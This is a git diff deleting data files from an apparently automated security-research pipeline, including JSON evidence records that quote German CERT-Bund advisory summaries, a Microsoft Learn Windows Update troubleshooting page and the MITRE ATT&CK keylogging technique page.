deleted file mode 100644 index ba22e81..0000000 --- a/data/article-work-fingerprints/bb07425da81c44dea2c1d416de643ac978c9c49d2bc5e617c9c93f16482861d5.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "article_id": "KB-AI-THINK-ARTICLE-20260809-18EF3C86F633", - "fingerprint": "bb07425da81c44dea2c1d416de643ac978c9c49d2bc5e617c9c93f16482861d5", - "generated_at": "2026-08-09T03:29:58.1542876Z", - "relation_type": "same_topic", - "schema": "article-work-fingerprint/v1", - "topic_label": "T1014 / T1059.004 / T1685" -} diff --git a/data/graph.db b/data/graph.db deleted file mode 100644 index 37a3ee8..0000000 Binary files a/data/graph.db and /dev/null differ diff --git a/data/graph.db-shm b/data/graph.db-shm deleted file mode 100644 index fd73b38..0000000 Binary files a/data/graph.db-shm and /dev/null differ diff --git a/data/graph.db-wal b/data/graph.db-wal deleted file mode 100644 index 5db6994..0000000 Binary files a/data/graph.db-wal and /dev/null differ diff --git a/data/research-evidence/03d941c7084e4fe3cea64533.json b/data/research-evidence/03d941c7084e4fe3cea64533.json deleted file mode 100644 index 8a06fd1..0000000 --- a/data/research-evidence/03d941c7084e4fe3cea64533.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:43:50.9528751Z", - "content_sha256": "2239cfb246fd776d138dc4974fe5aa74dfc47521155e8168afde96b7de0e795a", - "result": { - "title": "[UPDATE] [hoch] rsyslog: Schwachstelle ermöglicht Denial of Service und potenziell Codeausführung", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2421", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in rsyslog ausnutzen, um einen Denial of Service Angriff durchzuführen, und potenziell um beliebigen Programmcode auszuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in rsyslog ausnutzen, um einen Denial of Service Angriff durchzuführen, und potenziell um beliebigen Programmcode auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6653855198429413, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/0521d1173295af5c25d82bce.json b/data/research-evidence/0521d1173295af5c25d82bce.json deleted file mode 100644 index 363ec39..0000000 --- a/data/research-evidence/0521d1173295af5c25d82bce.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:47:06.3947356Z", - "content_sha256": "a9d205274470971b5be216d25bd31c3be7650da26840d2f62d1e3cf3a8d6ee75", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Schwachstelle ermöglicht Erlangen von Administratorrechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2158", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6505799443744751, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/0980eea55e3d1bdbd5d1c0c3.json b/data/research-evidence/0980eea55e3d1bdbd5d1c0c3.json deleted file mode 100644 index 79ec533..0000000 --- a/data/research-evidence/0980eea55e3d1bdbd5d1c0c3.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:48:37.9466698Z", - "content_sha256": "baa22c9dcec5c0363c3bb4ed5bc649f336add2b20e63f564cbebe4359e61da0c", - "result": { - "title": "[UPDATE] [hoch] Wireshark: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1311", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Wireshark ausnutzen, um beliebigen Code auszuführen, einen Denial-of-Service-Zustand zu verursachen, vertrauliche Informationen offenzulegen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Wireshark ausnutzen, um beliebigen Code auszuführen, einen Denial-of-Service-Zustand zu verursachen, vertrauliche Informationen offenzulegen oder andere, nicht näher spezifizierte Angriffe durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6480341612686951, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/09829981a68f55f1202e2652.json b/data/research-evidence/09829981a68f55f1202e2652.json deleted file mode 100644 index 5b9a558..0000000 --- a/data/research-evidence/09829981a68f55f1202e2652.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T22:02:15.9559648Z", - "content_sha256": "698988c54b1f5db891d63c92b59c9180ffd77596f95ea7346f70f9ce9aef37e2", - "result": { - "title": "Beheben von Windows Update-Downloadfehlern - Windows Server | Microsoft Learn", - "url": "https://learn.microsoft.com/de-de/troubleshoot/windows-server/installing-updates-features-roles/troubleshoot-windows-update-download-errors", - "snippet": "Erfahren Sie, wie Sie Fehlercodes 0x80D02002, 0x80072EFD und 0x80072EFE beim Herunterladen von Windows-Updates beheben.", - "content": "Inhaltsverzeichnis\n\nEditormodus beenden\n\nLearn fragen\n\nLearn fragen\n\nLesemodus\n\nInhaltsverzeichnis\n\nAuf Englisch lesen\n\nHinzufügen\n\nZu Plänen hinzufügen\n\nMarkdown kopieren\n\nDrucken\n\nHinweis\n\nFür den Zugriff auf diese Seite ist eine Autorisierung erforderlich. Sie können versuchen, sich anzumelden oder das Verzeichnis zu wechseln .\n\nFür den Zugriff auf diese Seite ist eine Autorisierung erforderlich. Sie können versuchen, das Verzeichnis zu wechseln .\n\nBeheben von Windows Update-Downloadfehlern\n\nGilt für:: Supported versions of Windows Server\n\nFeedback\n\nGilt für: ✔️ Windows-VMs\n\nZusammenfassung\n\nWährend einer Überprüfung auf Updates auf virtuellen Windows-Computern (VMs) treten möglicherweise Fehlercodes wie 0x80072EFD, 0x80072EFE und 0x80D02002 auf. Diese Fehler deuten auf Probleme hin, die sich auf Serververbindungen oder den Downloadstatus auswirken. Das Verständnis der Symptome und der Ursachen kann Ihnen helfen, diese Fehler effektiv zu beheben.\n\nVoraussetzungen\n\nStellen Sie für virtuelle Microsoft Azure-Computer (VMs), die Windows ausführen, sicher, dass Sie den Betriebssystemdatenträger sichern. Weitere Informationen finden Sie unter \"Informationen zur Wiederherstellung virtueller Azure-Computer\" .\n\nErmitteln des Problems\n\nSymptom 1: Fehlermeldungen beim Scannen\n\nWenn Sie nach Updates auf einer Windows-VM suchen, erhalten Sie die folgende Fehlermeldung oder eine ähnliche Meldung, die auf ein Serververbindungsproblem hinweist:\n\nWindows konnte nicht nach neuen Updates suchen\n\nÜberprüfen Sie die Windows Update-Protokolle auf Fehlercodes am folgenden Speicherort:\n\n%windir%\\logs\\windowsupdate\n\nSymptom 2: Windows Updates-Fehlercode gibt keinen Internetzugriff an\n\nWenn Sie nach Updates suchen, zeigt Windows Updates einen Fehlercode an, der angibt, dass Sie keinen Internetzugang haben. Externe Websites werden geladen, aber Microsoft-Links schlagen fehl und geben eine TLS-Fehlermeldung zurück.\n\nUrsache\n\nFehlercode 0x80072EFD : Dieser Fehler tritt auf, wenn Firewallregeln oder Proxys Microsoft Download-URLs blockieren und eine Serververbindung verhindern.\n\nFehlercode 0x80072EFE : Dieser Fehler wird durch Probleme verursacht, die sich auf TLS-Verschlüsselungen auswirken. Dieser Fehler stört Verbindungen mit Microsoft-Websites.\n\nLösungs- oder Problembehandlungsschritte\n\nLösung 1: Überprüfen von Netzwerkkonfigurationen\n\nÜberprüfen Sie, ob Datenverkehr über eine Virtuelle Netzwerk-Appliance (Network Virtual Appliance, NVA) weitergeleitet wird.\n\nStellen Sie sicher, dass der NVA die folgenden Windows Update-URLs zulässt:\n\nhttp://windowsupdate.microsoft.com\nhttp://*.windowsupdate.microsoft.com\nhttps://*.windowsupdate.microsoft.com\nhttp://*.update.microsoft.com\nhttps://*.update.microsoft.com\nhttp://*.windowsupdate.com\nhttp://download.windowsupdate.com\nhttps://download.microsoft.com\nhttp://*.download.windowsupdate.com\nhttp://wustat.windows.com\nhttp://ntservicepack.microsoft.com\nhttp://go.microsoft.com\nhttp://dl.delivery.mp.microsoft.com\nhttps://dl.delivery.mp.microsoft.com\n\nStellen Sie sicher, dass die Ports 80 und 443 für die Kommunikation offen sind.\n\nAuflösung 2: Überprüfen der TLS-Einstellungen\n\nÖffnen Sie ein Eingabeaufforderungsfenster mit erhöhten Rechten, und führen Sie den folgenden Befehl aus, um zu überprüfen, ob TLS 1.2 aktiviert ist:\n\nreg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols\\TLS 1.2\\Server\n\nStellen Sie sicher, dass die Werte wie folgt festgelegt werden:\n\nEnabled REG_DWORD 0x1\nDisabledByDefault REG_DWORD 0x0\n\nWenn TLS 1.2 deaktiviert ist, ändern Sie es in 0x1 .\n\nLösung 2.1: Probleme im Zusammenhang mit Gruppenrichtlinienobjekten (GPO) beheben\n\nWenn die Konnektivität für externe Standorte wie erwartet funktioniert und vorherige Entschärfungen nicht funktionieren, suchen Sie nach dem folgenden Registrierungsunterschlüssel:\n\nreg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Cryptography\\Configuration\\SSL\\XXXXXXXX\"\n\nLöschen Sie alle Inhalte, die sich innerhalb des XXXXXXXX -Hive oder Ordners befinden, um zu testen, ob ein GPO das Problem verursacht.\n\nWenn das Problem weiterhin besteht, entfernen Sie das Computerobjekt aus der Organisationseinheit (OU) mit SSL-Verschlüsselungskonfigurationen.\n\nFeedback\n\nWar diese Seite hilfreich?\n\nYes\n\nNo\n\nNo\n\nBenötigen Sie Hilfe zu diesem Thema?\n\nMöchten Sie versuchen, Ask Learn zu verwenden, um Sie durch dieses Thema zu klären oder zu leiten?\n\nLearn fragen\n\nLearn fragen\n\nLösung vorschlagen?\n\nZusätzliche Ressourcen\n\nLast updated on\n2026-02-12", - "content_type": "text/html", - "query": "Wie lässt sich der Fehler 0x80D02002 (DELIVERY_OPTIMIZATION_TIMEOUT) im Zusammenhang mit Windows Update / CBS diagnostizieren und beheben?", - "language": "de-DE", - "round": 3, - "fetched": true, - "relevant": true, - "relevance": 0.9733333333333334, - "source_quality": "primary", - "source_quality_score": 0.904, - "actionable": true, - "covered_gap_ids": [ - "AR-10be4378-6" - ], - "assessment_reason": "Die Quelle behandelt direkt den Fehlercode 0x80D02002 (DELIVERY_OPTIMIZATION_TIMEOUT) im Zusammenhang mit Windows Update und bietet konkrete, umsetzbare Schritte zur Diagnose und Behebung an, wie das Überprüfen der Netzwerkkonfiguration, TLS-Einstellungen und Gruppenrichtlinienobjekte. Sie ist eine offizielle Microsoft-Quelle und bietet belastbare technische Anweisungen." - } -} diff --git a/data/research-evidence/0bdb4f8b45b459893085ac0f.json b/data/research-evidence/0bdb4f8b45b459893085ac0f.json deleted file mode 100644 index 4b1bf7e..0000000 --- a/data/research-evidence/0bdb4f8b45b459893085ac0f.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:53:44.7211946Z", - "content_sha256": "0ba20e14cbba0a9b6b9fa2a9fe251801c620cac251dbea972df459e3da3e1215", - "result": { - "title": "[NEU] [UNGEPATCHT] [hoch] Flowise: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2703", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Informationen offenzulegen und Daten zu manipulieren.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Informationen offenzulegen und Daten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6342661141768955, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/0d405e8170e77bb5ea1e9706.json b/data/research-evidence/0d405e8170e77bb5ea1e9706.json deleted file mode 100644 index 29930c3..0000000 --- a/data/research-evidence/0d405e8170e77bb5ea1e9706.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:56:05.8263Z", - "content_sha256": "ada56b1420448cbe0491f2b439c3f64ca09781e6dd194cdb80b86ccbc64c9450", - "result": { - "title": "Input Capture: Keylogging, Sub-technique T1056.001 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1056/001/", - "snippet": "Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.", - "content": "Input Capture: Keylogging, Sub-technique T1056.001 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nInput Capture\n\nKeylogging\n\nInput Capture:\nKeylogging\n\nOther sub-techniques of Input Capture\n(4)\n\nID\n\nName\n\nT1056.001\n\nKeylogging\n\nT1056.002\n\nGUI Input Capture\n\nT1056.003\n\nWeb Portal Capture\n\nT1056.004\n\nCredential API Hooking\n\nAdversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. [1]\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. [2] Some methods include:\n\nHooking API callbacks used for processing keystrokes. Unlike Credential API Hooking , this focuses solely on API functions intended for processing keystroke data.\n\nReading raw keystroke data from the hardware buffer.\n\nWindows Registry modifications.\n\nCustom drivers.\n\nModify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions. [3]\n\nID: T1056.001\n\nSub-technique of:\nT1056\n\nTactics:\nCollection , Credential Access\n\nPlatforms: Linux, Network Devices, Windows, macOS\n\nContributors: TruKno\n\nVersion: 1.3\n\nCreated: 11 February 2020\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nC0028\n\n2015 Ukraine Electric Power Attack\n\nDuring the 2015 Ukraine Electric Power Attack , Sandworm Team gathered account credentials via a BlackEnergy keylogger plugin. [4] [5]\n\nS0045\n\nADVSTORESHELL\n\nADVSTORESHELL can perform keylogging. [6] [7]\n\nS0331\n\nAgent Tesla\n\nAgent Tesla can log keystrokes on the victim’s machine. [8] [9] [10] [11] [12]\n\nG0130\n\nAjax Security Team\n\nAjax Security Team has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system. [13]\n\nS0622\n\nAppleSeed\n\nAppleSeed can use GetKeyState and GetKeyboardState to capture keystrokes on the victim’s machine. [14] [15]\n\nG0007\n\nAPT28\n\nAPT28 has used tools to perform keylogging. [16] [17] [18]\n\nG0022\n\nAPT3\n\nAPT3 has used a keylogging tool that records keystrokes in encrypted files. [19]\n\nG0050\n\nAPT32\n\nAPT32 has abused the PasswordChangeNotify to monitor for and capture account password changes. [20]\n\nG0082\n\nAPT38\n\nAPT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine. [21]\n\nG0087\n\nAPT39\n\nAPT39 has used tools for capturing keystrokes. [22] [23]\n\nG0096\n\nAPT41\n\nAPT41 used a keylogger called GEARSHIFT on a target system. [24]\n\nG1044\n\nAPT42\n\nAPT42 has used custom malware to log keystrokes. [25]\n\nG1023\n\nAPT5\n\nAPT5 has used malware with keylogging capabilities to monitor the communications of targeted entities. [26] [27]\n\nS0373\n\nAstaroth\n\nAstaroth logs keystrokes from the victim's machine. [28]\n\nS1087\n\nAsyncRAT\n\nAsyncRAT can capture keystrokes on the victim’s machine. [29]\n\nS0438\n\nAttor\n\nOne of Attor 's plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process. [30]\n\nS0414\n\nBabyShark\n\nBabyShark has a PowerShell -based remote administration ability that can implement a PowerShell or C# based keylogger. [31]\n\nS0128\n\nBADNEWS\n\nWhen it first starts, BADNEWS spawns a new thread to log keystrokes. [32] [33] [34]\n\nS0337\n\nBadPatch\n\nBadPatch has a keylogging capability. [35]\n\nS0234\n\nBandook\n\nBandook contains keylogging capabilities. [36]\n\nS0017\n\nBISCUIT\n\nBISCUIT can capture keystrokes. [37]\n\nS0089\n\nBlackEnergy\n\nBlackEnergy has run a keylogger plug-in on a victim. [38]\n\nS1226\n\nBOOKWORM\n\nBOOKWORM has used its KBLogger.dll module to capture keystrokes and stored them in a folder. [39]\n\nS0454\n\nCadelspy\n\nCadelspy has the ability to log keystrokes on the compromised host. [40]\n\nS0030\n\nCarbanak\n\nCarbanak logs key strokes for configured processes and sends them back to the C2 server. [41] [42]\n\nS0348\n\nCardinal RAT\n\nCardinal RAT can log keystrokes. [43]\n\nS0261\n\nCatchamas\n\nCatchamas collects keystrokes from the victim’s machine. [44]\n\nS1149\n\nCHIMNEYSWEEP\n\nCHIMNEYSWEEP has the ability to support keylogging. [45]\n\nS0023\n\nCHOPSTICK\n\nCHOPSTICK is capable of performing keylogging. [46] [6] [17]\n\nS0660\n\nClambling\n\nClambling can capture keystrokes on a compromised host. [47] [48]\n\nS0154\n\nCobalt Strike\n\nCobalt Strike can track key presses with a keylogger module. [49] [50] [51]\n\nS0338\n\nCobian RAT\n\nCobian RAT has a feature to perform keylogging on the victim’s machine. [52]\n\nS1235\n\nCorKLOG\n\nCorKLOG has captured keystrokes. [53]\n\nS0050\n\nCosmicDuke\n\nCosmicDuke uses a keylogger. [54]\n\nS0115\n\nCrimson\n\nCrimson can use a module to perform keylogging on compromised hosts. [55] [56] [57]\n\nS0625\n\nCuba\n\nCuba logs keystrokes via polling by using GetKeyState and VkKeyScan functions. [58]\n\nC0029\n\nCutting Edge\n\nDuring Cutting Edge , threat actors modified a JavaScript file on the Web SSL VPN component of Ivanti Connect Secure devices to keylog credentials. [59]\n\nS0334\n\nDarkComet\n\nDarkComet has a keylogging capability. [60]\n\nS1111\n\nDarkGate\n\nDarkGate will spawn a thread on execution to capture all keyboard events and write them to a predefined log file. [61] [62]\n\nG0012\n\nDarkhotel\n\nDarkhotel has used a keylogger. [63]\n\nS1066\n\nDarkTortilla\n\nDarkTortilla can download a keylogging module. [64]\n\nS0673\n\nDarkWatchman\n\nDarkWatchman can track key presses with a keylogger module. [65]\n\nS0187\n\nDaserf\n\nDaserf can log keystrokes. [66] [67]\n\nS9017\n\nDCRAT\n\nDCRAT can log keystrokes on targeted systems. [68]\n\nS0021\n\nDerusbi\n\nDerusbi is capable of logging keystrokes. [69]\n\nS0213\n\nDOGCALL\n\nDOGCALL is capable of logging keystrokes. [70] [71]\n\nS9013\n\nDRYHOOK\n\nDRYHOOK has captured user credentials and passwords in plaintext and has encrypted them in a stored file on the network device. [72] [73]\n\nS0567\n\nDtrack\n\nDtrack ’s dropper contains a keylogging executable. [74]\n\nS0038\n\nDuqu\n\nDuqu can track key presses with a keylogger module. [75]\n\nS1159\n\nDUSTTRAP\n\nDUSTTRAP can perform keylogging operations. [76]\n\nS0062\n\nDustySky\n\nDustySky contains a keylogger. [77]\n\nS0593\n\nECCENTRICBANDWAGON\n\nECCENTRICBANDWAGON can capture and store keystrokes. [78]\n\nS0363\n\nEmpire\n\nEmpire includes keylogging capabilities for Windows, Linux, and macOS systems. [79]\n\nS0152\n\nEvilGrab\n\nEvilGrab has the capability to capture keystrokes. [80]\n\nS0569\n\nExplosive\n\nExplosive has leveraged its keylogging capabilities to gain access to administrator accounts on target servers. [81] [82]\n\nS0076\n\nFakeM\n\nFakeM contains a keylogger module. [83]\n\nG1016\n\nFIN13\n\nFIN13 has logged the keystrokes of victims to escalate privileges. [84]\n\nG0085\n\nFIN4\n\nFIN4 has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger. [85] [86]\n\nS0381\n\nFlawedAmmyy\n\nFlawedAmmyy can collect keyboard events. [87]\n\nS1044\n\nFunnyDream\n\nThe FunnyDream Keyrecord component can capture keystrokes. [88]\n\nS0410\n\nFysbis\n\nFysbis can perform keylogging. [89]\n\nS0032\n\ngh0st RAT\n\ngh0st RAT has a keylogger. [90] [91]\n\nS0531\n\nGrandoreiro\n\nGrandoreiro can log keystrokes on the victim's machine. [92]\n\nS0342\n\nGreyEnergy\n\nGreyEnergy has a module to harvest pressed keystrokes. [93]\n\nG0043\n\nGroup5\n\nMalware used by Group5 is capable of capturing keystrokes. [94]\n\nS0170\n\nHelminth\n\nThe executable version of Helminth has a module to log keystrokes. [95]\n\nG1001\n\nHEXANE\n\nHEXANE has used a PowerShell-based keylogger named kl.ps1 . [96] [97]\n\nS1249\n\nHexEval Loader\n\nHexEval Loader has utilized a cross-platform keylogger that has the capability to capture keystrokes on Windows, macOS and Linux systems. [98]\n\nS0070\n\nHTTPBrowser\n\nHTTPBrowser is capable of capturing keystrokes on victims. [99]\n\nS0434\n\nImminent Monitor\n\nImminent Monitor has a keylogging module. [100]\n\nS1245\n\nInvisibleFerret\n\nInvisibleFerret has conducted keylogging using the Python project \"pyWinHook\" and \"Pyhook\". [101] [102] [103] InvisibleFerret has also captured keylogging thread checks for changes in an active window and key presses. [104]\n\nS0260\n\nInvisiMole\n\nInvisiMole can capture keystrokes on a compromised host. [105]\n\nS0201\n\nJPIN\n\nJPIN contains a custom keylogger. [106]\n\nS0283\n\njRAT\n\njRAT has the capability to log keystrokes from the victim’s machine, both offline and online. [107] [108]\n\nS0088\n\nKasidet\n\nKasidet has the ability to initiate keylogging. [109]\n\nG0004\n\nKe3chang\n\nKe3chang has used keyloggers. [110] [111]\n\nS0387\n\nKeyBoy\n\nKeyBoy installs a keylogger for intercepting credentials and keystrokes. [112]\n\nS0526\n\nKGH_SPY\n\nKGH_SPY can perform keylogging by polling the GetAsyncKeyState() function. [113]\n\nG0094\n\nKimsuky\n\nKimsuky has used a PowerShell-based keylogger as well as a tool called MECHANICAL to log keystrokes. [114] [115] [116] [117] [1] [15] Kimsuky has also leveraged Native Windows API functions such as GetAsyncKeyState() along with others to capture keystrokes every 50 milliseconds and stores data in a file stored in the temp directory. [118]\n\nS0437\n\nKivars\n\nKivars has the ability to initiate keylogging on the infected host. [119]\n\nS0356\n\nKONNI\n\nKONNI has the capability to perform keylogging. [120]\n\nG0032\n\nLazarus Group\n\nLazarus Group malware KiloAlfa contains keylogging functionality. [121] [122]\n\nS9020\n\nLODEINFO\n\nLODEINFO can capture keystrokes on targeted systems. [123] [124] [125]\n\nS0447\n\nLokibot\n\nLokibot has the ability to capture input on the compromised host via keylogging. [126]\n\nS0409\n\nMachete\n\nMachete logs keystrokes from the victim’s machine. [127] [128] [129] [130]\n\nS1016\n\nMacMa\n\nMacMa can use Core Graphics Event Taps to intercept user keystrokes from any text input field and saves them to text files. Text input fields include Spotlight, Finder, Safari, Mail, Messages, and other apps that have text fields for passwords. [131] [132]\n\nS0282\n\nMacSpy\n\nMacSpy captures keystrokes. [133]\n\nG0059\n\nMagic Hound\n\nMagic Hound malware is capable of keylogging. [134]\n\nS0652\n\nMarkiRAT\n\nMarkiRAT can capture all keystrokes on a compromised host. [135]\n\nS0167\n\nMatryoshka\n\nMatryoshka is capable of keylogging. [136] [137]\n\nG0045\n\nmenuPass\n\nmenuPass has used key loggers to steal usernames and passwords. [138]\n\nS1059\n\nmetaMain\n\nmetaMain has the ability to log keyboard events. [139] [140]\n\nS0455\n\nMetamorfo\n\nMetamorfo has a command to launch a keylogger and capture keystrokes on the victim’s machine. [141] [142]\n\nS1146\n\nMgBot\n\nMgBot includes keylogger payloads focused on the QQ chat application. [143] [144]\n\nS0339\n\nMicropsia\n\nMicropsia has keylogging capabilities. [145]\n\nS1122\n\nMispadu\n\nMispadu can log keystrokes on the victim's machine. [146] [147] [148]\n\nS0149\n\nMoonWind\n\nMoonWind has a keylogger. [149]\n\nS0336\n\nNanoCore\n\nNanoCore can perform keylogging on the victim’s machine. [150]\n\nS0247\n\nNavRAT\n\nNavRAT logs the keystrokes on the targeted system. [151]\n\nS0033\n\nNetTraveler\n\nNetTraveler contains a keylogger. [152]\n\nS0198\n\nNETWIRE\n\nNETWIRE can perform keylogging. [153] [154] [155] [156] [157]\n\nS1090\n\nNightClub\n\nNightClub can use a plugin for keylogging. [158]\n\nS0385\n\nnjRAT\n\nnjRAT is capable of logging keystrokes. [159] [160] [94] [161]\n\nG0049\n\nOilRig\n\nOilRig has employed keyloggers including KEYPUNCH and LONGWATCH. [162] [163] [164]\n\nS0439\n\nOkrum\n\nOkrum was seen using a keylogger tool to capture keystrokes. [165]\n\nC0014\n\nOperation Wocao\n\nDuring Operation Wocao , threat actors obtained the password for the victim's password manager via a custom keylogger. [166]\n\nS0072\n\nOwaAuth\n\nOwaAuth captures and DES-encrypts credentials before writing the username and password to a log file, C:\\log.txt . [99]\n\nS1233\n\nPAKLOG\n\nPAKLOG has captured keystrokes using Windows API. [53]\n\nS1050\n\nPcShare\n\nPcShare has the ability to capture keystrokes. [88]\n\nS0643\n\nPeppy\n\nPeppy can log keystrokes on compromised hosts. [55]\n\nG0068\n\nPLATINUM\n\nPLATINUM has used several different keyloggers. [106]\n\nS0013\n\nPlugX\n\nPlugX has a module for capturing keystrokes per process including window titles. [167]\n\nS0428\n\nPoetRAT\n\nPoetRAT has used a Python tool named klog.exe for keylogging. [168]\n\nS0012\n\nPoisonIvy\n\nPoisonIvy contains a keylogger. [169] [170]\n\nS0378\n\nPoshC2\n\nPoshC2 has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages. [171]\n\nS1012\n\nPowerLess\n\nPowerLess can use a module to log keystrokes. [172]\n\nS0194\n\nPowerSploit\n\nPowerSploit 's Get-Keystrokes Exfiltration module can log keystrokes. [173] [174]\n\nS0113\n\nPrikormka\n\nPrikormka contains a keylogger module that collects keystrokes and the titles of foreground windows. [175]\n\nS0279\n\nProton\n\nProton uses a keylogger to capture keystrokes. [133]\n\nS0192\n\nPupy\n\nPupy uses a keylogger to capture keystrokes it then sends back to the server after it is stopped. [176]\n\nS0650\n\nQakBot\n\nQakBot can capture keystrokes on a compromised host. [177] [178] [179]\n\nS0262\n\nQuasarRAT\n\nQuasarRAT has a built-in keylogger. [180] [181] [161]\n\nS0662\n\nRCSession\n\nRCSession has the ability to capture keystrokes on a compromised host. [47] [182]\n\nS0019\n\nRegin\n\nRegin contains a keylogger. [183]\n\nS0332\n\nRemcos\n\nRemcos has a command for keylogging. [184] [185]\n\nS0375\n\nRemexi\n\nRemexi gathers and exfiltrates keystrokes from the machine. [186]\n\nS0125\n\nRemsec\n\nRemsec contains a keylogger component. [187] [188]\n\nS0379\n\nRevenge RAT\n\nRevenge RAT has a plugin for keylogging. [189] [190]\n\nS0240\n\nROKRAT\n\nROKRAT can use SetWindowsHookEx and GetKeyNameText to capture keystrokes. [191] [192]\n\nS0090\n\nRover\n\nRover has keylogging functionality. [193]\n\nS0148\n\nRTM\n\nRT", - "content_type": "text/html", - "query": "Welche Unterschiede bestehen zwischen den TTPs von T1056.001 bei verschiedenen Malware-Plattformen wie macOS und Android?", - "language": "de-DE", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.5628571428571428, - "source_quality": "primary", - "source_quality_score": 0.7760000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-86eb8cf9-2" - ], - "assessment_reason": "Die Quelle beschreibt die Technik T1056.001 (Keylogging) im Allgemeinen und nennt einige Beispiele für Malware, die auf verschiedenen Plattformen eingesetzt werden. Allerdings wird nicht direkt auf Unterschiede zwischen macOS und Android eingegangen. Es fehlen konkrete Details zu Plattformunterschieden in den TTPs. Die Quelle ist jedoch relevant, da sie die Grundlagen der Technik und Beispiele für Plattformen liefert, was eine Teilabdeckung der Wissenslücke darstellt." - } -} diff --git a/data/research-evidence/0d7256a24a2f4023ed10e189.json b/data/research-evidence/0d7256a24a2f4023ed10e189.json deleted file mode 100644 index de5c447..0000000 --- a/data/research-evidence/0d7256a24a2f4023ed10e189.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:44:39.2210011Z", - "content_sha256": "4a5039e5ed81b49d427f61e5ee35827a2fcfe62836e534d33476043dae2be2e9", - "result": { - "title": "[UPDATE] [hoch] Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1955", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, 